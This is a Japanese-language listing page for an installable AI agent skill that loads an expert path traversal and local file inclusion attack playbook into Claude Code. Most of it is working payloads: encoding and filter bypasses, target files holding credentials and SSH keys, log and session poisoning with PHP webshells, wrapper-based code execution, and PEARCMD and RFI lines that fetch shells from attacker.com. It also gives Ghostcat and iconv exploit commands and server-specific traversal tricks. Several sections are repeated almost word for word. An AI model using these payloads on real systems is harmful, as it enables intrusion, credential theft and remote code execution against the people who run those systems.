mcpField
P
path-traversal-lfi

path-traversal-lfi

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

path-traversal-lfi について

パストラバーサルとローカルファイルインクルージョンを調査するセキュリティスキルです。エンコードやフィルターの回避、OS別パス、PHPラッパー、攻撃の拡大手法を扱います。

主な機能

  1. 01トラバーサルのエンコード形式
  2. 02フィルター回避の確認
  3. 03Linux と Windows の対象ファイル
  4. 04PHP ラッパーの手法
  5. 05LFI の攻撃拡大経路

活用シーン

  1. 01ファイルやテンプレートのパラメーターのテスト
  2. 02PHP インクルードエンドポイントの評価
  3. 03ファイル読み取り問題からコード実行への拡大可能性の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill path-traversal-lfi

インストール後、Claude Code で/path-traversal-lfiを入力して読み込まれたか確認します。

詳細

スキル:パストラバーサル/ローカルファイルインクルージョン(LFI)— エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けのパストラバーサルおよび LFI の手法です。エンコーディングによるバイパスシーケンス、OS の違い、フィルターのバイパス、PHP ラッパーの悪用、ログポイズニングによる RCE、そしてパストラバーサル(読み取りのみ)と LFI(実行)の重要な違いを扱います。ベースモデルは、エンコーディングの連鎖や RCE へのエスカレーション経路を見落とします。

0. 関連するルーティング

本格的な悪用に入る前に、まず以下を読み込むことができます。

  • 主な攻撃対象がインクルードや読み取りのプリミティブではなく、アップロードのワークフローである場合は、upload insecure files
  • 対象がJava バックエンド(Spring、Jetty、Undertow、Vert.x)で、標準的な ../、%2e%2e、%252e の連鎖が WAF にブロックされる場合は、ghost-bits-cast-attack。Ghost Bits は . を 阮(U+962E)に、/ を 阯(U+962F)に置き換え、Spring CVE-2025-41242 および Jetty の %2> 16 進数フォールディングを通じて、再びトラバーサルを可能にします。
最初に試すトラバーサルの連鎖
../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini

1. 基本概念

パストラバーサル:../ の連続を使って想定されたディレクトリから抜け出し、任意のファイルを読み取ります。 LFI:PHP でユーザー入力が include()/require() を制御する場合、ファイルは読み取られるだけでなく、PHP コードとして実行されます。

http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php

Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd

2. トラバーサルシーケンスのバリエーション

使用するエンコーディングは、フィルタリングの方針によって決まります。

基本
../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts  (Windows)
URL エンコーディング
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd     ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c                  ← %5c = '\'
二重 URL エンコーディング(サーバーが一度だけデコードし、フィルターがデコード前にチェックする場合)
%252e%252e%252f%252e%252e%252f  ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd
Unicode/過長 UTF-8
..%c0%af..%c0%af     ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c     ← overlong UTF-8 encoding of '\'
..%ef%bc%8f          ← fullwidth solidus '/'
混合エンコーディング
..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd   ← double-dot with slash (filter strips single ../)
フィルターが ../ を削除する場合(そのため削除後も ../ になる)
....//          ← becomes ../ after filter strips ../
..././          ← becomes ../ after filter strips ./
ヌルバイトインジェクション(レガシー PHP < 5.3.4)
../../../../etc/passwd%00.jpg   ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php

3. 対象ファイルとエスカレーション先

Linux
/etc/passwd                  ← user list (usernames, UIDs)
/etc/shadow                  ← password hashes (requires root-level file read)
/etc/hosts                   ← internal hostnames → pivot targets
/etc/hostname                ← server hostname
/proc/self/environ           ← process environment (DB creds, API keys!)
/proc/self/cmdline           ← process command line
/proc/self/fd/0              ← stdin file descriptor
/proc/[pid]/maps             ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log  ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log            ← SSH attempt log
/var/mail/www-data            ← email for www-data user
/home/USER/.ssh/id_rsa       ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history     ← command history (credentials!)
/home/USER/.aws/credentials  ← AWS keys
/tmp/sess_SESSIONID          ← PHP session files (if session.save_path=/tmp)
Web アプリケーションの設定ファイル
/var/www/html/.env           ← Laravel/Node.js env vars
/var/www/html/config.php     ← PHP config
/var/www/html/wp-config.php  ← WordPress DB credentials
/etc/apache2/sites-enabled/  ← Apache vhosts
/etc/nginx/sites-enabled/    ← Nginx config
/usr/local/etc/nginx/nginx.conf
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM          ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config           ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini  ← MySQL config

4. PHP LFI から RCE への手法

ログポイズニング(ログにアクセスできる場合に最も確実)

ステップ 1:User-Agent 経由で Apache/Nginx のアクセスログに PHP コードを注入します。

GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

ステップ 2:LFI 経由でログファイルをインクルードします。

?page=../../../../var/log/apache2/access.log&cmd=id
SSH ログポイズニング

SSH のユーザー名として PHP ペイロードを注入します。

ssh '<?php system($_GET["cmd"]); ?>'@target.com

その後、/var/log/auth.log をインクルードします。

PHP セッションファイルポイズニング

ステップ 1:セッションに保存されるパラメーター(例:ユーザー名)に PHP コードを送信し、セッションファイルへの保存を発生させます。 ステップ 2:セッションファイルをインクルードします。

?page=../../../../tmp/sess_SESSIONID&cmd=id

Cookie PHPSESSID からセッション ID を確認します。

RCE に利用する PHP ラッパー

php://expect ラッパー(expect PHP 拡張機能が必要です):

?page=expect://id

php://input ラッパー(LFI と POST 本文を組み合わせます):

POST ?page=php://input
Body: <?php system('id'); ?>

data:// ラッパー(PHP を base64 として直接注入します):

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

(PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($_GET['cmd']); ?>)


5. PHP FILTER ラッパー(ファイル内容の読み取り)

php://filter を使ってファイル内容を base64 エンコードし、ヌルバイトやバイナリデータを回避します。

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php

返された base64 をデコードすると、ファイルの内容(PHP ソースコードを含む)を確認できます。

フィルターの連鎖(入力フィルターを回避するために複数の変換を行います):

?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd

6. リモートファイルインクルージョン(RFI)— 有効な場合

PHP の allow_url_include = On が設定されている場合(まれですが存在します):

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.php

<?php system($_GET['cmd']); ?> を含む shell.txt をホストします。


7. サーバー固有のパス切り詰め

PHP には歴史的なパス長制限があります。. または /./ を追加して、付加された拡張子を切り詰めます。

?page=../../../../etc/passwd/./././././././././././............ (255+ chars)

サーバーが .php を付加すると、切り詰めによってその部分が取り除かれます。

または、PHP < 5.3.4 の場合はヌルバイトを使います。

?page=../../../../etc/passwd%00

8. テストするパラメーターの場所

?file=        ?page=        ?include=    ?path=
?doc=         ?view=        ?load=       ?read=
?template=    ?lang=        ?url=        ?src=
?content=     ?site=        ?layout=     ?module=

HTTP ヘッダー、Cookie、フォームの action 値、インポート/アップロード機能もテストします。


9. フィルターバイパスのチェックリスト

../ が削除またはブロックされる場合:

□ Try URL encoding: %2e%2e%2f
□ Try double URL encoding: %252e%252e%252f
□ Try overlong UTF-8: ..%c0%af / ..%ef%bc%8f
□ Try mixed: ..%2F or ..%5C (backslash on Linux)
□ Try redundant sequences: ....// or ..././ (strip once → still ../)
□ Try null byte: /../../../etc/passwd%00
□ Try absolute path: /etc/passwd (if no path prefix added)
□ Try Windows UNC (Windows server): \\127.0.0.1\C$\Windows\win.ini

10. 影響のエスカレーション経路

Path traversal (read arbitrary files)
├── Read /etc/passwd → enumerate users
├── Read /proc/self/environ → find API keys, DB passwords in env
├── Read app config files → find credentials → horizontal movement
├── Read SSH private keys → direct server login
└── Find log paths → Log Poisoning → LFI RCE

LFI (PHP code inclusion)
├── Log poisoning → webshell
├── Session file poisoning → webshell  
├── php://input → direct code execution
├── data:// → direct code execution
└── php://filter → read PHP source code → find more vulnerabilities

11. LFI から RCE へのエスカレーション経路

方法要件ペイロード
ログポイズニング(Apache)LFI + Apache の access.log が読み取り可能User-Agent に <?php system($_GET['c']);?> を注入 → /var/log/apache2/access.log をインクルード
ログポイズニング(SSH)LFI + SSH の auth.log が読み取り可能<?php system('id');?>@target として SSH 接続 → /var/log/auth.log をインクルード
ログポイズニング(メール)LFI + メールログが読み取り可能件名に PHP を含めたメールを送信 → /var/log/mail.log をインクルード
/proc/self/fd の総当たりLFI + Linux/proc/self/fd/0 から /proc/self/fd/255 を総当たりし、注入したコンテンツを含むオープンファイルハンドルを探します
/proc/self/environLFI + CGI/FastCGIUser-Agent ヘッダーに PHP を注入 → /proc/self/environ をインクルード
iconv CVE-2024-2961glibc < 2.39、php://filter を使用する PHPphp://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource= のチェーンでヒープオーバーフローを発生させ、RCE につなげます。ツール:cnext-exploits
phpinfo() の利用LFI + phpinfo ページにアクセス可能競合状態を利用します。multipart 経由で phpinfo に一時ファイルをアップロード → レスポンスから一時ファイルのパスを読み取る → クリーンアップ前にインクルード
PHP セッションLFI + セッションファイルが書き込み可能制御可能なセッション変数経由でセッションに PHP を注入 → /tmp/sess_SESSIONID または /var/lib/php/sessions/sess_SESSIONID をインクルード
アップロード競合LFI + アップロードエンドポイントPHP ファイルをアップロード → サーバー側で検証・削除される前にインクルード

12. PHP ラッパーの悪用マトリクス

php://filter(最も強力です。まず必ず試してください)
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/zlib.deflate/resource=index.php

フィルターチェーンによる RCE(synacktiv php_filter_chain_generator):

  • 複数の convert.iconv フィルターを連結し、ファイルをアップロードせずに任意のバイト列を書き込みます
  • ツール:synacktiv/php_filter_chain_generator → PHP コードを書き込むチェーンを生成します
  • python3 php_filter_chain_generator.py --chain '<?php system("id");?>'

convert.iconv + dechunk オラクル(ブラインドファイル読み取り):

  • ツール:synacktiv/php_filter_chains_oracle_exploit(filters_chain_oracle_exploit)
  • ブラインド LFI により、ファイルの内容を1文字ずつ読み取れます
php://input
POST vulnerable.php?page=php://input
Body: <?php system('id'); ?>

allow_url_include=On が必要です

data://
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
data:text/plain,<?php system('id');?>    ← note: no double slash variant also works
phar://
phar://uploaded.phar/test.php

phar メタデータのデシリアライズを引き起こし、POP チェーン経由で RCE につなげます(細工した phar のファイルアップロードが必要です。JPEG に偽装できます)

zip://
zip://uploaded.zip%23shell.php
expect://
expect://id

expect 拡張機能が必要です(まれです)


13. PEARCMD による LFI の悪用

pearcmd.php に LFI 経由でアクセスできる場合(Docker の PHP イメージでよく見られます):

方法ペイロード
config-create/?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php
man_dir/?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+
download/?file=pearcmd.php&+download+http://attacker.com/shell.php
install/?file=pearcmd.php&+install+http://attacker.com/shell.tgz

14. Windows 固有の LFI テクニック

FindFirstFile ワイルドカード(Windows のみ):

  • < は任意の1文字に、> は任意の文字列に一致します(ファイル API では ? と * に相当します)
  • php<< は php5、phtml などに一致する場合があります
  • ..\..\windows\win.ini → 曖昧一致には << を使用します:..\..\windows\win<<

15. パラメーターの命名パターン(高頻度の標的)

脆弱性調査の統計分析に基づいています:

パラメーター名頻度コンテキスト
filename、file、path非常に高い直接的なファイル操作
page、include、template高いテンプレート/ページのインクルード
url、src、href高いリソースの読み込み
download、read、load中程度ファイルのダウンロード/読み取り
dir、folder、root中程度ディレクトリ操作
hdfile、inputFile、XFileName低いCMS/ミドルウェア固有
FileUrl、filePath、docPath低いエンタープライズアプリ固有

高頻度で脆弱なエンドポイント:

down.php、download.jsp、download.asp、readfile.php、file_download.php、getfile.php、view.php


16. LFI から RCE へのエスカレーション経路

1. /proc/self/fd の総当たり
# When file upload exists but path is unknown:
# Uploaded files get temporary fd in /proc/self/fd/
# Brute-force fd numbers:
/proc/self/fd/0 through /proc/self/fd/255
# Include the temp file before it's cleaned up
2. /proc/self/environ のポイズニング
# If User-Agent is reflected in process environment:
GET /vuln.php?page=/proc/self/environ
User-Agent: <?php system($_GET['c']); ?>
3. ログポイズニング
# Apache access log:
GET /<?php system($_GET['c']); ?> HTTP/1.1
# Then include: /var/log/apache2/access.log

# SSH auth log (username field):
ssh '<?php system($_GET["c"]); ?>'@target
# Then include: /var/log/auth.log

# Mail log (SMTP subject):
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: <?php system($_GET['c']); ?>
.
# Then include: /var/log/mail.log
4. PHP セッションファイルポイズニング
# Set session variable to PHP code:
GET /page.php?lang=<?php system($_GET['c']); ?>
# Session file: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
# Include the session file
5. phpinfo() を利用した LFI
# Race condition: upload via phpinfo() temp file
# 1. POST multipart file to phpinfo() page → reveals tmp_name (/tmp/phpXXXXXX)
# 2. Include the temp file before PHP cleans it up
# Requires many concurrent requests (race window ~10ms)
6. iconv CVE-2024-2961
# glibc iconv buffer overflow in PHP filter chains
# Tool: cfreal/cnext-exploits
# Converts LFI to RCE without needing writable paths or log poisoning

17. PHP ラッパーの悪用マトリクス

php://filter(実行せずにファイルを読み取る)
# Base64 encode source code:
php://filter/convert.base64-encode/resource=index.php

# ROT13:
php://filter/read=string.rot13/resource=index.php

# Chain multiple filters:
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# Zlib compression:
php://filter/zlib.deflate/resource=index.php

# NEW: Filter chain RCE (synacktiv php_filter_chain_generator)
# Generates chains that write arbitrary content via iconv conversions
# Tool: synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Produces: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp
convert.iconv + dechunk オラクル(ブラインドファイル読み取り)
# Error-based oracle: determine if first byte of file matches a character
# Tool: synacktiv/php_filter_chains_oracle_exploit
# Reads files byte-by-byte through error/behavior differences
data:// ラッパー
# Execute arbitrary PHP:
data://text/plain,<?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# Bypass when data:// is filtered but data: (without //) works:
data:text/plain,<?php system('id'); ?>
expect:// ラッパー
expect://id
expect://ls
# Requires expect extension (rare but check)
php://input
POST /vuln.php?page=php://input
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>
zip:// および phar:// ラッパー
# zip://: Upload ZIP containing PHP file
zip:///tmp/upload.zip#shell.php

# phar://: Triggers deserialization of phar metadata!
phar:///tmp/upload.phar/anything
# Create malicious phar with crafted metadata object
# Can chain to RCE via POP gadget chains (like PHP deserialization)
# Phar can be disguised as JPG (polyglot phar-jpg)
wrapwrap(プレフィックス/サフィックスのインジェクション)
# Tool: ambionics/wrapwrap
# Adds arbitrary prefix and suffix to file content via filter chains
# Useful for converting file read into XXE, SSRF, or deserialization trigger

18. PEARCMD による LFI から RCE への攻撃

PEAR がインストールされており、register_argc_argv=On の場合(Docker の PHP イメージでは一般的です):

# Method 1: config-create (write arbitrary content to file)
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

# Method 2: man_dir (change docs directory to write path)
GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php

# Method 3: download (fetch remote file)
GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php

# Method 4: install (install remote package)
GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php
Windows FindFirstFile ワイルドカード
# Windows << and > wildcards in file paths:
# << matches any extension, > matches single char
include("php<<");      # Matches any .php* file
include("shel>");      # Matches shell.php if only 1 char follows
# Useful when exact filename is unknown

19. パラメーターの命名パターンと高頻度エンドポイント

一般的な脆弱パラメーター名
filename    filepath    path        file        url
template    page        include     dir         document
folder      root        pg          lang        doc
conf        data        content     name        src
inputFile   hdfile      XFileName   FileUrl     readfile
高頻度の脆弱エンドポイント
エンドポイントのパターン頻度
down.php / download.php非常に高い
download.jsp / download.do非常に高い
download.asp / download.aspx高い
readfile.php / file.php高い
export / report エンドポイント中程度
template / preview エンドポイント中程度
バイパス手法の分布(実地調査より)
手法普及度
絶対パスへの直接アクセス最も一般的
WEB-INF/web.xml の読み取り(Java)一般的
Base64 でエンコードされたパスパラメーター中程度
URL の二重エンコード中程度
UTF-8 の過長エンコード(%c0%ae)まれだが有効
ヌルバイトによる切り詰め(%00)レガシー(PHP < 5.3.4)

20. JAVA/SPRING のパストラバーサル

Spring のリソース読み込み
// Vulnerable patterns — user input flows into resource path
ClassPathResource r = new ClassPathResource(userInput);
getClass().getResourceAsStream("/templates/" + userInput);
servletContext.getResourceAsStream("/WEB-INF/" + userInput);
# Read WEB-INF deployment descriptor
GET /download?file=../WEB-INF/web.xml
GET /download?file=../WEB-INF/classes/application.properties
GET /download?file=../WEB-INF/classes/META-INF/persistence.xml

# Spring Boot specific
GET /download?file=../WEB-INF/classes/application.yml
GET /download?file=../WEB-INF/classes/bootstrap.properties
価値の高い Java の標的
/WEB-INF/web.xml                        ← servlet mappings, filter chains, security constraints
/WEB-INF/classes/application.properties  ← DB creds, API keys, Spring config
/WEB-INF/classes/application.yml         ← same, YAML format
/WEB-INF/lib/                            ← application JARs (download for decompilation)
/META-INF/MANIFEST.MF                    ← build metadata, main class
/META-INF/context.xml                    ← Tomcat datasource definitions
Spring MVC ResourceHttpRequestHandler

静的リソースが spring.resources.static-locations を介して提供される場合:

GET /static/..%252f..%252fWEB-INF/web.xml
GET /static/..;/..;/WEB-INF/web.xml       ← Tomcat path parameter normalization

21. TOMCAT 固有のテクニック

パスパラメーターの正規化(/..;/)

Tomcat は ; をパスパラメーターの区切り文字として扱い、パス解決の前に ; から次の / までをすべて取り除きますが、上流のプロキシや WAF はそうしない場合があります:

GET /app/..;/manager/html           ← Tomcat resolves to /manager/html
GET /app/..;jsessionid=x/..;/WEB-INF/web.xml

WAF バイパスチェーン:リバースプロキシは /app/..;/manager/html を /app/ 配下のパス(許可済み)と認識しますが、Tomcat は ..; を .. に正規化して上位ディレクトリに移動します。

AJP Ghostcat(CVE-2020-1938)

ネットワークに公開された Apache JServ Protocol(AJP、ポート 8009)により、任意のファイル読み取りと JSP の実行が可能になります:

# Read any file through AJP
python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read

# Include attacker-controlled file as JSP for execution
python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" \
  -H "javax.servlet.include.request_uri:/anything" \
  -H "javax.servlet.include.servlet_path:/uploads/avatar.txt"

条件:ポート 8009 の AJP コネクターに到達できること(Tomcat のデフォルト設定では、Docker 内部でファイアウォールに遮断されていないことがよくあります)。Tomcat 9.0.31 より前のバージョンでは、secretRequired が未設定であること。

Tomcat の URL 二重デコード
GET /%252e%252e/%252e%252e/etc/passwd

22. NGINX の ALIAS 設定ミス

末尾のスラッシュに関する落とし穴
# VULNERABLE — missing trailing slash on location
location /assets {
    alias /data/;
}

Nginx は /assets../etc/passwd を /data/../etc/passwd、さらに /etc/passwd に対応付けます。これは、alias が正確な location プレフィックス(/assets)をエイリアスパス(/data/)に置き換え、残りの部分にある ../ が外部へ移動するためです。

GET /assets../etc/passwd HTTP/1.1
GET /assets..%2f..%2fetc%2fpasswd HTTP/1.1

正しい設定:

location /assets/ {
    alias /data/;
}
location と alias のオフバイワン
location /img {
    alias /var/images;
}
# /img../secret -> /var/images/../secret -> /var/secret

ルール:alias を使用する場合、location のプレフィックスとエイリアスパスは、どちらも / で終わるか、どちらも / で終わらない必要があります。


23. NODE.JS のパスモジュールに関する注意点

URL エンコードされた入力での path.join()
const path = require('path');

app.get('/files/:name', (req, res) => {
    const filePath = path.join(__dirname, 'uploads', req.params.name);
    res.sendFile(filePath);
});

Express は path.join の前に req.params を URL デコードします:

GET /files/..%2f..%2f..%2fetc%2fpasswd
req.params.name = "../../../etc/passwd" (already decoded)
path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd
express.static() の注意点
  • パスに対して decodeURIComponent を呼び出し、その後 path.normalize() を呼び出します
  • ミドルウェアが一度デコードした後に express.static が再度デコードする場合、二重エンコード(%252e%252e%252f)でバイパスできます
  • ヌルバイト(%00)は最新の Node.js(v14 以降)では拒否されますが、レガシーバージョンでは切り詰められる場合があります
url.parse() と new URL() の混同
// Legacy: url.parse() does NOT resolve path traversal
const parsed = require('url').parse(userInput);
// parsed.pathname may contain ../

// Modern: new URL() normalizes the path
const parsed = new URL(userInput, 'http://localhost');
// parsed.pathname has ../ resolved

url.parse() と path.join() を併用するアプリでは、new URL() なら正規化されるパストラバーサルが許可される場合があります。


24. IIS の短縮ファイル名列挙(~1 チルダトリック)

概要

Windows NTFS は 8.3 形式の短縮ファイル名(例:LONGFI~1.TXT)を生成します。IIS は、有効な短縮名プレフィックスと無効な短縮名プレフィックスに対して異なる応答を返します。

検出方法
GET /W~1.ASP HTTP/1.1  -> 404 (name pattern valid)
GET /Z~1.ASP HTTP/1.1  -> 400 (bad request)

応答の差異から、そのプレフィックスで始まるファイルが存在するかどうかが漏えいします。

列挙プロセス
Step 1: /A~1* -> 404 = file starting with A exists
Step 2: /AB~1* -> 404 = file starting with AB exists
Step 3: /ABCDEF~1.A* -> 404 = extension starts with A
ツール
java -jar iis_shortname_scanner.jar https://target.com/
影響
  • 隠されたバックアップ、設定ファイル、ソースコードを発見できます
  • ブルートフォースの候補空間が狭くなります:8.3形式では文字セットが制限されます
  • ディレクトリ一覧表示が無効になっていても機能します

コメント